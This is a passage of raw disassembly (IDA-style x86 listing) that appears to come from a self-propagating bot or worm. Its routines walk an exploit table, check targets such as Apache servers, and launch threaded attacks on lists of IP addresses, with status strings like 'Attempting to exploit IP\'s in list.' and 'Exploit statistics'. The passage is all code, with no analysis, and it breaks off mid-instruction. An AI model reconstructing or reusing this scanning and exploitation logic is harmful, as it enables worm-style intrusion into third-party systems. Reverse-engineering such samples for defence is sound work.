--------------------------------------------------------------------------- loc_41323C: ; CODE XREF: sub_41308F+10Ej cmp [ebp+var_C], 0 jz loc_41331A push 6 push offset aApache ; "Apache" push [ebp+var_10] call sub_416F80 ; _strnicmp add esp, 0Ch test eax, eax jnz loc_41331A and [ebp+var_820], 0 lea eax, [ebp+var_820] push eax push offset dword_41CE48 push [ebp+var_10] call sub_416BA2 add esp, 0Ch push 6 push offset dword_41CE40 push [ebp+var_C] call sub_416F80 ; _strnicmp add esp, 0Ch neg eax sbb eax, eax inc eax mov [ebp+var_81C], eax cmp [ebp+var_81C], 1 jnz short loc_4132BE push 7 push offset dword_41CE38 push [ebp+var_C] call sub_416F80 ; _strnicmp add esp, 0Ch test eax, eax jz short loc_4132BE xor eax, eax jmp short locret_41331C ; --------------------------------------------------------------------------- loc_4132BE: ; CODE XREF: sub_41308F+213j ; sub_41308F+229j cmp [ebp+var_820], 1 jnz short loc_4132D5 cmp [ebp+var_81C], 0 jz short loc_4132D5 push 6 pop eax jmp short locret_41331C ; --------------------------------------------------------------------------- loc_4132D5: ; CODE XREF: sub_41308F+236j ; sub_41308F+23Fj cmp [ebp+var_820], 1 jnz short loc_4132EC cmp [ebp+var_81C], 0 jnz short loc_4132EC push 5 pop eax jmp short locret_41331C ; --------------------------------------------------------------------------- loc_4132EC: ; CODE XREF: sub_41308F+24Dj ; sub_41308F+256j cmp [ebp+var_820], 2 jnz short loc_413303 cmp [ebp+var_81C], 0 jz short loc_413303 push 6 pop eax jmp short locret_41331C ; --------------------------------------------------------------------------- loc_413303: ; CODE XREF: sub_41308F+264j ; sub_41308F+26Dj cmp [ebp+var_820], 2 jnz short loc_41331A cmp [ebp+var_81C], 0 jnz short loc_41331A push 5 pop eax jmp short locret_41331C ; --------------------------------------------------------------------------- loc_41331A: ; CODE XREF: sub_41308F:loc_413237j ; sub_41308F+1B1j ... xor eax, eax locret_41331C: ; CODE XREF: sub_41308F+30j ; sub_41308F+66j ... leave retn sub_41308F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41331E proc near ; DATA XREF: sub_41349C+4EBo ; sub_413CB3+27Co var_14C = dword ptr -14Ch var_11A = dword ptr -11Ah var_112 = dword ptr -112h var_10E = dword ptr -10Eh var_10A = byte ptr -10Ah var_8A = dword ptr -8Ah var_86 = byte ptr -86h var_6 = byte ptr -6 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14Ch push 14Ch push [ebp+arg_0] lea eax, [ebp+var_14C] push eax call sub_416B52 add esp, 0Ch push [ebp+arg_0] call sub_416B4C pop ecx push 1 push [ebp+var_10E] call sub_404457 pop ecx pop ecx lea eax, [ebp+var_10A] push eax push [ebp+var_10E] call sub_4044F7 pop ecx pop ecx test eax, eax jnz short loc_413381 push [ebp+var_10E] call sub_40538D pop ecx xor eax, eax jmp locret_413498 ; --------------------------------------------------------------------------- loc_413381: ; CODE XREF: sub_41331E+4Ej cmp [ebp+var_112], 0 jz short loc_4133B1 push [ebp+var_10E] call sub_41308F pop ecx cmp [ebp+var_112], eax jz short loc_4133B1 push [ebp+var_10E] call sub_4053B1 pop ecx xor eax, eax jmp locret_413498 ; --------------------------------------------------------------------------- loc_4133B1: ; CODE XREF: sub_41331E+6Aj ; sub_41331E+7Ej cmp [ebp+var_8A], 1 jnz short loc_4133E0 lea eax, [ebp+var_6] push eax push [ebp+var_10E] call sub_404552 pop ecx pop ecx push offset dword_41F028 lea eax, [ebp+var_86] push eax call sub_416B3A ; strcpy pop ecx pop ecx jmp short loc_413444 ; --------------------------------------------------------------------------- loc_4133E0: ; CODE XREF: sub_41331E+9Aj cmp [ebp+var_8A], 2 jnz short loc_413420 push 0Ah lea eax, [ebp+var_6] push eax push 0FFFFh push 401h call sub_4103F5 pop ecx pop ecx push eax call sub_416F7A ; _itoa add esp, 0Ch lea eax, [ebp+var_10A] push eax lea eax, [ebp+var_86] push eax call sub_416B3A ; strcpy pop ecx pop ecx jmp short loc_413444 ; --------------------------------------------------------------------------- loc_413420: ; CODE XREF: sub_41331E+C9j call sub_412D4C push eax lea eax, [ebp+var_6] push eax call sub_416B3A ; strcpy pop ecx pop ecx push offset dword_41F028 lea eax, [ebp+var_86] push eax call sub_416B3A ; strcpy pop ecx pop ecx loc_413444: ; CODE XREF: sub_41331E+C0j ; sub_41331E+100j lea eax, [ebp+var_14C] push eax call [ebp+var_11A] cmp [ebp+var_8A], 1 jnz short loc_41346F push [ebp+var_10E] push [ebp+var_14C] call sub_412A3A pop ecx pop ecx jmp short loc_41348A ; --------------------------------------------------------------------------- loc_41346F: ; CODE XREF: sub_41331E+13Aj cmp [ebp+var_8A], 2 jnz short loc_41348A lea eax, [ebp+var_6] push eax lea eax, [ebp+var_86] push eax call sub_412BC9 pop ecx pop ecx loc_41348A: ; CODE XREF: sub_41331E+14Fj ; sub_41331E+158j push [ebp+var_10E] call sub_4053B1 pop ecx xor eax, eax locret_413498: ; CODE XREF: sub_41331E+5Ej ; sub_41331E+8Ej leave retn 4 sub_41331E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41349C proc near ; DATA XREF: sub_413AB0+1F4o var_774 = qword ptr -774h var_764 = qword ptr -764h var_75C = byte ptr -75Ch var_65C = byte ptr -65Ch var_658 = dword ptr -658h var_654 = dword ptr -654h var_650 = dword ptr -650h var_64C = byte ptr -64Ch var_648 = byte ptr -648h var_644 = dword ptr -644h var_640 = byte ptr -640h var_62C = dword ptr -62Ch var_628 = dword ptr -628h var_624 = byte ptr -624h var_51C = byte ptr -51Ch var_50E = dword ptr -50Eh var_50A = dword ptr -50Ah var_506 = dword ptr -506h var_502 = byte ptr -502h var_37B = byte ptr -37Bh var_37A = byte ptr -37Ah var_377 = byte ptr -377h var_36B = byte ptr -36Bh var_36A = byte ptr -36Ah var_35C = dword ptr -35Ch var_358 = dword ptr -358h var_354 = byte ptr -354h var_341 = byte ptr -341h var_296 = dword ptr -296h var_20C = byte ptr -20Ch var_20B = byte ptr -20Bh var_10C = dword ptr -10Ch var_108 = byte ptr -108h var_107 = byte ptr -107h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 764h push edi push 2C9h push [ebp+arg_0] lea eax, [ebp+var_628] push eax call sub_416B52 add esp, 0Ch push [ebp+arg_0] call sub_416B4C pop ecx lea eax, [ebp+var_51C] push eax call sub_407A86 pop ecx movzx eax, al test eax, eax jz short loc_4134F5 push 14Ch push 0 lea eax, [ebp+var_358] push eax call sub_416B6A add esp, 0Ch jmp loc_4135BF ; --------------------------------------------------------------------------- loc_4134F5: ; CODE XREF: sub_41349C+3Cj and [ebp+var_62C], 0 jmp short loc_41350B ; --------------------------------------------------------------------------- loc_4134FE: ; CODE XREF: sub_41349C:loc_4135BAj mov eax, [ebp+var_62C] inc eax mov [ebp+var_62C], eax loc_41350B: ; CODE XREF: sub_41349C+60j mov eax, [ebp+var_62C] imul eax, 3Ah add eax, offset byte_41CD88 push eax lea eax, [ebp+var_640] push eax call sub_416B3A ; strcpy pop ecx pop ecx lea eax, [ebp+var_640] push eax call sub_4105FB pop ecx lea eax, [ebp+var_51C] push eax lea eax, [ebp+var_640] push eax call sub_416F74 pop ecx pop ecx test eax, eax jnz short loc_4135BA mov eax, [ebp+var_62C] imul eax, 3Ah add eax, offset byte_41CD88 mov [ebp+var_358], eax push 3Ah mov eax, [ebp+var_62C] imul eax, 3Ah add eax, offset byte_41CD88 push eax lea eax, [ebp+var_354] push eax call sub_416B52 add esp, 0Ch lea eax, [ebp+var_354] push eax call sub_4105FB pop ecx lea eax, [ebp+var_341] push eax call sub_4105FB pop ecx and [ebp+var_296], 0 lea eax, [ebp+var_341] push eax lea eax, [ebp+var_51C] push eax call sub_416B3A ; strcpy pop ecx pop ecx jmp short loc_4135BF ; --------------------------------------------------------------------------- loc_4135BA: ; CODE XREF: sub_41349C+B0j jmp loc_4134FE ; --------------------------------------------------------------------------- loc_4135BF: ; CODE XREF: sub_41349C+54j ; sub_41349C+11Cj lea eax, [ebp+var_624] push eax call sub_40806A pop ecx test eax, eax jnz short loc_4135E3 push [ebp+var_628] call sub_409763 pop ecx xor eax, eax jmp loc_413AAB ; --------------------------------------------------------------------------- loc_4135E3: ; CODE XREF: sub_41349C+132j mov al, byte_41DF10 mov [ebp+var_20C], al push 3Fh pop ecx xor eax, eax lea edi, [ebp+var_20B] rep stosd stosw stosb mov al, byte_41DF10 mov [ebp+var_108], al push 3Fh pop ecx xor eax, eax lea edi, [ebp+var_107] rep stosd stosw stosb lea eax, [ebp+var_108] push eax lea eax, [ebp+var_624] push eax lea eax, [ebp+var_20C] push eax call sub_407F3D add esp, 0Ch test eax, eax jnz short loc_41364D push [ebp+var_628] call sub_409763 pop ecx xor eax, eax jmp loc_413AAB ; --------------------------------------------------------------------------- loc_41364D: ; CODE XREF: sub_41349C+19Cj push [ebp+var_506] call sub_404D10 pop ecx mov [ebp+var_8], eax cmp [ebp+var_8], 0 jnz short loc_413675 push [ebp+var_628] call sub_409763 pop ecx xor eax, eax jmp loc_413AAB ; --------------------------------------------------------------------------- loc_413675: ; CODE XREF: sub_41349C+1C4j cmp [ebp+var_358], 0 jz loc_413782 mov eax, [ebp+var_358] mov eax, [eax+32h] and eax, 1 test eax, eax jz loc_413782 call sub_4042FB mov [ebp+var_644], eax cmp [ebp+var_644], 0 jz short loc_4136B6 mov [ebp+var_296], 2 jmp short loc_4136C0 ; --------------------------------------------------------------------------- loc_4136B6: ; CODE XREF: sub_41349C+20Cj mov [ebp+var_296], 3 loc_4136C0: ; CODE XREF: sub_41349C+218j movsx eax, [ebp+var_36B] test eax, eax jz short loc_4136E5 mov eax, [ebp+var_358] mov eax, [eax+32h] and eax, 2 test eax, eax jnz short loc_4136E5 mov [ebp+var_296], 1 loc_4136E5: ; CODE XREF: sub_41349C+22Dj ; sub_41349C+23Dj movsx eax, [ebp+var_37B] test eax, eax jz short loc_4136FA mov [ebp+var_296], 2 loc_4136FA: ; CODE XREF: sub_41349C+252j movsx eax, [ebp+var_37A] test eax, eax jz short loc_41370F mov [ebp+var_296], 3 loc_41370F: ; CODE XREF: sub_41349C+267j cmp [ebp+var_296], 3 jnz short loc_41372B cmp [ebp+var_644], 0 jz short loc_41372B mov [ebp+var_296], 2 loc_41372B: ; CODE XREF: sub_41349C+27Aj ; sub_41349C+283j cmp [ebp+var_296], 3 jnz short loc_413782 mov al, [ebp+var_36A] mov [ebp+var_64C], al mov al, [ebp+var_377] mov [ebp+var_648], al mov [ebp+var_36A], 1 and [ebp+var_377], 0 push 0 lea eax, [ebp+var_502] push eax call sub_412F07 pop ecx pop ecx mov al, [ebp+var_64C] mov [ebp+var_36A], al mov al, [ebp+var_648] mov [ebp+var_377], al loc_413782: ; CODE XREF: sub_41349C+1E0j ; sub_41349C+1F4j ... push offset dword_41E3B8 call sub_409C6C pop ecx push [ebp+var_50E] lea eax, [ebp+var_51C] push eax lea eax, [ebp+var_624] push eax push offset dword_41CF30 mov eax, [ebp+var_628] add eax, 14h push eax call sub_416B5E add esp, 14h push offset dword_41E3B8 call sub_409C7A pop ecx push [ebp+var_50E] lea eax, [ebp+var_51C] push eax lea eax, [ebp+var_624] push eax mov eax, [ebp+var_628] push dword ptr [eax] push offset dword_41CEF8 lea eax, [ebp+var_502] push eax call sub_40D53F add esp, 18h cmp [ebp+var_358], 0 jnz short loc_413807 push 3E8h call dword_41709C loc_413807: ; CODE XREF: sub_41349C+35Ej and [ebp+var_10C], 0 call sub_416B64 mov [ebp+var_35C], eax and [ebp+var_4], 0 loc_41381D: ; CODE XREF: sub_41349C+3F9j ; sub_41349C+44Bj ... mov eax, [ebp+var_628] cmp dword ptr [eax+4], 0 jnz short loc_413847 call sub_416B64 add eax, [ebp+var_4] sub eax, [ebp+var_35C] mov ecx, [ebp+var_50E] imul ecx, 3E8h cmp eax, ecx jb short loc_41384C loc_413847: ; CODE XREF: sub_41349C+38Bj jmp loc_413A43 ; --------------------------------------------------------------------------- loc_41384C: ; CODE XREF: sub_41349C+3A9j lea eax, [ebp+var_108] push eax lea eax, [ebp+var_20C] push eax call sub_416B3A ; strcpy pop ecx pop ecx lea eax, [ebp+var_108] push eax lea eax, [ebp+var_624] push eax lea eax, [ebp+var_20C] push eax call sub_407F3D add esp, 0Ch push offset dword_41F028 lea eax, [ebp+var_20C] push eax call sub_416DDE pop ecx pop ecx test eax, eax jnz short loc_413897 jmp short loc_41381D ; --------------------------------------------------------------------------- loc_413897: ; CODE XREF: sub_41349C+3F7j push [ebp+var_8] push 0 lea eax, [ebp+var_51C] push eax lea eax, [ebp+var_20C] push eax call sub_404FE7 add esp, 0Ch push eax call sub_404D4D pop ecx pop ecx mov [ebp+var_650], eax cmp [ebp+var_650], 0 jz short loc_4138EC call sub_416B64 add eax, [ebp+var_4] sub eax, [ebp+var_35C] mov ecx, [ebp+var_50E] imul ecx, 3E8h cmp eax, ecx jnb short loc_4138EC jmp loc_41381D ; --------------------------------------------------------------------------- loc_4138EC: ; CODE XREF: sub_41349C+42Bj ; sub_41349C+449j push [ebp+var_50A] call dword_41709C push [ebp+var_8] call sub_404E1C pop ecx test eax, eax jz loc_413A35 loc_413909: ; CODE XREF: sub_41349C+4BAj ; sub_41349C:loc_413A30j push [ebp+var_8] call sub_404F24 pop ecx mov [ebp+var_654], eax cmp [ebp+var_654], 0 jnz short loc_413926 jmp loc_413A35 ; --------------------------------------------------------------------------- loc_413926: ; CODE XREF: sub_41349C+483j mov eax, [ebp+var_10C] inc eax mov [ebp+var_10C], eax cmp [ebp+var_358], 0 jz short loc_4139B7 push 14Ch call sub_416B46 pop ecx mov [ebp+var_658], eax cmp [ebp+var_658], 0 jnz short loc_413958 jmp short loc_413909 ; --------------------------------------------------------------------------- loc_413958: ; CODE XREF: sub_41349C+4B8j push 14Ch lea eax, [ebp+var_358] push eax push [ebp+var_658] call sub_416B52 add esp, 0Ch mov eax, [ebp+var_658] mov ecx, [ebp+var_654] mov [eax+3Eh], ecx push [ebp+var_658] push offset sub_41331E call sub_409479 pop ecx pop ecx test eax, eax jnz short loc_4139A5 push [ebp+var_658] call sub_416B4C pop ecx jmp short loc_4139B5 ; --------------------------------------------------------------------------- loc_4139A5: ; CODE XREF: sub_41349C+4F9j push [ebp+var_8] push [ebp+var_654] call sub_404D9B pop ecx pop ecx loc_4139B5: ; CODE XREF: sub_41349C+507j jmp short loc_413A30 ; --------------------------------------------------------------------------- loc_4139B7: ; CODE XREF: sub_41349C+49Ej mov eax, [ebp+var_628] cmp dword ptr [eax+4], 0 jz short loc_4139C5 jmp short loc_413A35 ; --------------------------------------------------------------------------- loc_4139C5: ; CODE XREF: sub_41349C+525j lea eax, [ebp+var_75C] push eax push [ebp+var_654] call sub_4044F7 pop ecx pop ecx mov al, [ebp+var_36A] mov [ebp+var_65C], al and [ebp+var_36A], 0 lea eax, [ebp+var_51C] push eax lea eax, [ebp+var_75C] push eax push offset dword_41CEE4 lea eax, [ebp+var_502] push eax call sub_40D53F add esp, 10h mov al, [ebp+var_65C] mov [ebp+var_36A], al push 3E8h call dword_41709C mov eax, [ebp+var_4] add eax, 3E8h mov [ebp+var_4], eax loc_413A30: ; CODE XREF: sub_41349C:loc_4139B5j jmp loc_413909 ; --------------------------------------------------------------------------- loc_413A35: ; CODE XREF: sub_41349C+467j ; sub_41349C+485j ... push [ebp+var_8] call sub_404F7D pop ecx jmp loc_41381D ; --------------------------------------------------------------------------- loc_413A43: ; CODE XREF: sub_41349C:loc_413847j push [ebp+var_10C] call sub_416B64 sub eax, [ebp+var_35C] mov dword ptr [ebp+var_764], eax and dword ptr [ebp+var_764+4], 0 fild [ebp+var_764] fdiv flt_417270 push ecx push ecx fstp [esp+774h+var_774] lea eax, [ebp+var_51C] push eax lea eax, [ebp+var_624] push eax push offset unk_41CEA0 lea eax, [ebp+var_502] push eax call sub_40D53F add esp, 1Ch push [ebp+var_8] call sub_404FD0 pop ecx push [ebp+var_628] call sub_409763 pop ecx xor eax, eax loc_413AAB: ; CODE XREF: sub_41349C+142j ; sub_41349C+1ACj ... pop edi leave retn 4 sub_41349C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413AB0 proc near ; CODE XREF: sub_40A9CF+BCBp var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = byte ptr -28h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 34h cmp [ebp+arg_4], 0 jz short loc_413AC2 cmp [ebp+arg_8], 0 jnz short loc_413AC7 loc_413AC2: ; CODE XREF: sub_413AB0+Aj jmp locret_413CB1 ; --------------------------------------------------------------------------- loc_413AC7: ; CODE XREF: sub_413AB0+10j push [ebp+arg_8] call sub_407A86 pop ecx movzx eax, al test eax, eax jz short loc_413AEB push [ebp+arg_8] call sub_40422A pop ecx test eax, eax jnz short loc_413AE9 jmp locret_413CB1 ; --------------------------------------------------------------------------- loc_413AE9: ; CODE XREF: sub_413AB0+32j jmp short loc_413B45 ; --------------------------------------------------------------------------- loc_413AEB: ; CODE XREF: sub_413AB0+25j and [ebp+var_14], 0 jmp short loc_413AF8 ; --------------------------------------------------------------------------- loc_413AF1: ; CODE XREF: sub_413AB0:loc_413B43j mov eax, [ebp+var_14] inc eax mov [ebp+var_14], eax loc_413AF8: ; CODE XREF: sub_413AB0+3Fj mov eax, [ebp+var_14] imul eax, 3Ah movsx eax, byte_41CD88[eax] test eax, eax jnz short loc_413B0E jmp locret_413CB1 ; --------------------------------------------------------------------------- loc_413B0E: ; CODE XREF: sub_413AB0+57j mov eax, [ebp+var_14] imul eax, 3Ah add eax, offset byte_41CD88 push eax lea eax, [ebp+var_28] push eax call sub_416B3A ; strcpy pop ecx pop ecx lea eax, [ebp+var_28] push eax call sub_4105FB pop ecx push [ebp+arg_8] lea eax, [ebp+var_28] push eax call sub_416F74 pop ecx pop ecx test eax, eax jnz short loc_413B43 jmp short loc_413B45 ; --------------------------------------------------------------------------- loc_413B43: ; CODE XREF: sub_413AB0+8Fj jmp short loc_413AF1 ; --------------------------------------------------------------------------- loc_413B45: ; CODE XREF: sub_413AB0:loc_413AE9j ; sub_413AB0+91j cmp [ebp+arg_C], 0 jz short loc_413B59 push [ebp+arg_C] call sub_416B9C pop ecx mov [ebp+var_2C], eax jmp short loc_413B60 ; --------------------------------------------------------------------------- loc_413B59: ; CODE XREF: sub_413AB0+99j mov [ebp+var_2C], 15180h loc_413B60: ; CODE XREF: sub_413AB0+A7j mov eax, [ebp+var_2C] mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_413B75 cmp [ebp+var_4], 15180h jbe short loc_413B7C loc_413B75: ; CODE XREF: sub_413AB0+BAj mov [ebp+var_4], 15180h loc_413B7C: ; CODE XREF: sub_413AB0+C3j cmp [ebp+arg_10], 0 jz short loc_413B90 push [ebp+arg_10] call sub_416B9C pop ecx mov [ebp+var_30], eax jmp short loc_413B97 ; --------------------------------------------------------------------------- loc_413B90: ; CODE XREF: sub_413AB0+D0j mov [ebp+var_30], 7D0h loc_413B97: ; CODE XREF: sub_413AB0+DEj mov eax, [ebp+var_30] mov [ebp+var_C], eax cmp [ebp+var_C], 32h jb short loc_413BAC cmp [ebp+var_C], 0EA60h jbe short loc_413BB3 loc_413BAC: ; CODE XREF: sub_413AB0+F1j mov [ebp+var_C], 7D0h loc_413BB3: ; CODE XREF: sub_413AB0+FAj cmp [ebp+arg_14], 0 jz short loc_413BC7 push [ebp+arg_14] call sub_416B9C pop ecx mov [ebp+var_34], eax jmp short loc_413BCE ; --------------------------------------------------------------------------- loc_413BC7: ; CODE XREF: sub_413AB0+107j mov [ebp+var_34], 100h loc_413BCE: ; CODE XREF: sub_413AB0+115j mov eax, [ebp+var_34] mov [ebp+var_10], eax cmp [ebp+var_10], 0 jz short loc_413BE3 cmp [ebp+var_10], 200h jbe short loc_413BEA loc_413BE3: ; CODE XREF: sub_413AB0+128j mov [ebp+var_10], 100h loc_413BEA: ; CODE XREF: sub_413AB0+131j push 2C9h call sub_416B46 pop ecx mov [ebp+var_8], eax cmp [ebp+var_8], 0 jnz short loc_413C03 jmp locret_413CB1 ; --------------------------------------------------------------------------- loc_413C03: ; CODE XREF: sub_413AB0+14Cj push 108h push [ebp+arg_4] mov eax, [ebp+var_8] add eax, 4 push eax call sub_407A56 add esp, 0Ch push 0Eh push [ebp+arg_8] mov eax, [ebp+var_8] add eax, 10Ch push eax call sub_407A56 add esp, 0Ch mov eax, [ebp+var_8] mov ecx, [ebp+var_4] mov [eax+11Ah], ecx mov eax, [ebp+var_8] mov ecx, [ebp+var_C] mov [eax+11Eh], ecx mov eax, [ebp+var_8] mov ecx, [ebp+var_10] mov [eax+122h], ecx push 1A3h push [ebp+arg_0] mov eax, [ebp+var_8] add eax, 126h push eax call sub_416B52 add esp, 0Ch push [ebp+var_10] push [ebp+var_C] mov eax, [ebp+var_8] push dword ptr [eax+11Ah] mov eax, [ebp+var_8] add eax, 10Ch push eax mov eax, [ebp+var_8] add eax, 4 push eax push offset unk_41CF5C mov eax, [ebp+arg_0] movsx eax, byte ptr [eax+18Bh] neg eax sbb eax, eax inc eax push eax push [ebp+var_8] push offset sub_41349C call sub_4095A4 add esp, 24h locret_413CB1: ; CODE XREF: sub_413AB0:loc_413AC2j ; sub_413AB0+34j ... leave retn sub_413AB0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413CB3 proc near ; DATA XREF: sub_413FE7+5Co var_49C = dword ptr -49Ch var_498 = byte ptr -498h var_494 = byte ptr -494h var_490 = dword ptr -490h var_48C = dword ptr -48Ch var_488 = dword ptr -488h var_484 = dword ptr -484h var_480 = dword ptr -480h var_47C = byte ptr -47Ch var_469 = byte ptr -469h var_3BE = dword ptr -3BEh var_334 = dword ptr -334h var_330 = dword ptr -330h var_32C = byte ptr -32Ch var_1AC = byte ptr -1ACh var_25 = byte ptr -25h var_24 = byte ptr -24h var_21 = byte ptr -21h var_15 = byte ptr -15h var_14 = byte ptr -14h var_13 = byte ptr -13h var_8 = dword ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 49Ch push 327h push [ebp+arg_0] lea eax, [ebp+var_330] push eax call sub_416B52 add esp, 0Ch push [ebp+arg_0] call sub_416B4C pop ecx mov eax, [ebp+var_330] push dword ptr [eax] push offset unk_41D008 lea eax, [ebp+var_1AC] push eax call sub_40D53F add esp, 0Ch and [ebp+var_334], 0 and [ebp+var_484], 0 lea eax, [ebp+var_4] push eax push offset dword_418F4C lea eax, [ebp+var_32C] push eax call sub_40813C add esp, 0Ch mov [ebp+var_8], eax loc_413D21: ; CODE XREF: sub_413CB3:loc_413FA8j mov eax, [ebp+var_334] inc eax mov [ebp+var_334], eax and [ebp+var_488], 0 jmp short loc_413D44 ; --------------------------------------------------------------------------- loc_413D37: ; CODE XREF: sub_413CB3+23Bj ; sub_413CB3:loc_413F77j mov eax, [ebp+var_488] inc eax mov [ebp+var_488], eax loc_413D44: ; CODE XREF: sub_413CB3+82j mov eax, [ebp+var_488] imul eax, 3Ah cmp off_41CDB6[eax], 0 jz loc_413F7C push 3Ah mov eax, [ebp+var_488] imul eax, 3Ah add eax, offset byte_41CD88 push eax lea eax, [ebp+var_47C] push eax call sub_416B52 add esp, 0Ch mov eax, [ebp+var_488] imul eax, 3Ah add eax, offset byte_41CD88 mov [ebp+var_480], eax lea eax, [ebp+var_47C] push eax call sub_4105FB pop ecx lea eax, [ebp+var_469] push eax call sub_4105FB pop ecx cmp [ebp+var_480], 0 jz loc_413E9A mov eax, [ebp+var_480] mov eax, [eax+32h] and eax, 1 test eax, eax jz loc_413E9A call sub_4042FB mov [ebp+var_490], eax cmp [ebp+var_490], 0 jz short loc_413DE9 mov [ebp+var_3BE], 2 jmp short loc_413DF3 ; --------------------------------------------------------------------------- loc_413DE9: ; CODE XREF: sub_413CB3+128j mov [ebp+var_3BE], 3 loc_413DF3: ; CODE XREF: sub_413CB3+134j movsx eax, [ebp+var_15] test eax, eax jz short loc_413E15 mov eax, [ebp+var_480] mov eax, [eax+32h] and eax, 2 test eax, eax jnz short loc_413E15 mov [ebp+var_3BE], 1 loc_413E15: ; CODE XREF: sub_413CB3+146j ; sub_413CB3+156j movsx eax, [ebp+var_25] test eax, eax jz short loc_413E27 mov [ebp+var_3BE], 2 loc_413E27: ; CODE XREF: sub_413CB3+168j movsx eax, [ebp+var_24] test eax, eax jz short loc_413E39 mov [ebp+var_3BE], 3 loc_413E39: ; CODE XREF: sub_413CB3+17Aj cmp [ebp+var_3BE], 3 jnz short loc_413E55 cmp [ebp+var_490], 0 jz short loc_413E55 mov [ebp+var_3BE], 2 loc_413E55: ; CODE XREF: sub_413CB3+18Dj ; sub_413CB3+196j cmp [ebp+var_3BE], 3 jnz short loc_413E9A mov al, [ebp+var_14] mov [ebp+var_498], al mov al, [ebp+var_21] mov [ebp+var_494], al mov [ebp+var_14], 1 and [ebp+var_21], 0 push 0 lea eax, [ebp+var_1AC] push eax call sub_412F07 pop ecx pop ecx mov al, [ebp+var_498] mov [ebp+var_14], al mov al, [ebp+var_494] mov [ebp+var_21], al loc_413E9A: ; CODE XREF: sub_413CB3+FCj ; sub_413CB3+110j ... movsx eax, [ebp+var_13] neg eax sbb eax, eax and eax, 1388h add eax, 1388h push eax push 0 lea eax, [ebp+var_469] push eax push [ebp+var_8] call sub_4050EA add esp, 10h mov [ebp+var_48C], eax cmp [ebp+var_48C], 0 jz loc_413F77 push 14Ch call sub_416B46 pop ecx mov [ebp+var_49C], eax cmp [ebp+var_49C], 0 jnz short loc_413EF3 jmp loc_413D37 ; --------------------------------------------------------------------------- loc_413EF3: ; CODE XREF: sub_413CB3+239j push 14Ch lea eax, [ebp+var_480] push eax push [ebp+var_49C] call sub_416B52 add esp, 0Ch mov eax, [ebp+var_484] inc eax mov [ebp+var_484], eax mov eax, [ebp+var_49C] mov ecx, [ebp+var_48C] mov [eax+3Eh], ecx push [ebp+var_49C] push offset sub_41331E call sub_409479 pop ecx pop ecx test eax, eax jnz short loc_413F59 push [ebp+var_48C] call sub_4053B1 pop ecx push [ebp+var_49C] call sub_416B4C pop ecx jmp short loc_413F77 ; --------------------------------------------------------------------------- loc_413F59: ; CODE XREF: sub_413CB3+28Aj lea eax, [ebp+var_47C] push eax push [ebp+var_8] push offset dword_41CFD8 lea eax, [ebp+var_1AC] push eax call sub_40D53F add esp, 10h loc_413F77: ; CODE XREF: sub_413CB3+21Bj ; sub_413CB3+2A4j jmp loc_413D37 ; --------------------------------------------------------------------------- loc_413F7C: ; CODE XREF: sub_413CB3+A1j lea eax, [ebp+var_4] push eax push offset dword_418F4C push 0 call sub_40813C add esp, 0Ch mov [ebp+var_8], eax cmp [ebp+var_8], 0 jnz short loc_413F9A jmp short loc_413FAD ; --------------------------------------------------------------------------- loc_413F9A: ; CODE XREF: sub_413CB3+2E3j mov eax, [ebp+var_330] cmp dword ptr [eax+4], 0 jz short loc_413FA8 jmp short loc_413FAD ; --------------------------------------------------------------------------- loc_413FA8: ; CODE XREF: sub_413CB3+2F1j jmp loc_413D21 ; --------------------------------------------------------------------------- loc_413FAD: ; CODE XREF: sub_413CB3+2E5j ; sub_413CB3+2F3j push [ebp+var_334] push [ebp+var_484] mov eax, [ebp+var_330] push dword ptr [eax] push offset dword_41CF94 lea eax, [ebp+var_1AC] push eax call sub_40D53F add esp, 14h push [ebp+var_330] call sub_409763 pop ecx xor eax, eax leave retn 4 sub_413CB3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413FE7 proc near ; CODE XREF: sub_40A9CF+B5Bp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx cmp [ebp+arg_4], 0 jnz short loc_413FF3 jmp short locret_414050 ; --------------------------------------------------------------------------- loc_413FF3: ; CODE XREF: sub_413FE7+8j push 327h call sub_416B46 pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_414009 jmp short locret_414050 ; --------------------------------------------------------------------------- loc_414009: ; CODE XREF: sub_413FE7+1Ej push 180h push [ebp+arg_4] mov eax, [ebp+var_4] add eax, 4 push eax call sub_407A56 add esp, 0Ch push 1A3h push [ebp+arg_0] mov eax, [ebp+var_4] add eax, 184h push eax call sub_416B52 add esp, 0Ch push offset aAttemptingToEx ; "Attempting to exploit IP's in list." push 0 push [ebp+var_4] push offset sub_413CB3 call sub_4095A4 add esp, 10h locret_414050: ; CODE XREF: sub_413FE7+Aj ; sub_413FE7+20j leave retn sub_413FE7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_414052 proc near ; DATA XREF: sub_41417D+35o var_3C0 = dword ptr -3C0h var_3BC = byte ptr -3BCh var_225 = byte ptr -225h var_224 = byte ptr -224h var_218 = byte ptr -218h var_204 = dword ptr -204h var_200 = byte ptr -200h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 3C0h push 1A7h push [ebp+arg_0] lea eax, [ebp+var_3C0] push eax call sub_416B52 add esp, 0Ch push [ebp+arg_0] call sub_416B4C pop ecx push offset aExploitStatist ; "Exploit statistics - " lea eax, [ebp+var_200] push eax call sub_416B3A ; strcpy pop ecx pop ecx and [ebp+var_204], 0 jmp short loc_4140A4 ; --------------------------------------------------------------------------- loc_414097: ; CODE XREF: sub_414052:loc_41414Aj mov 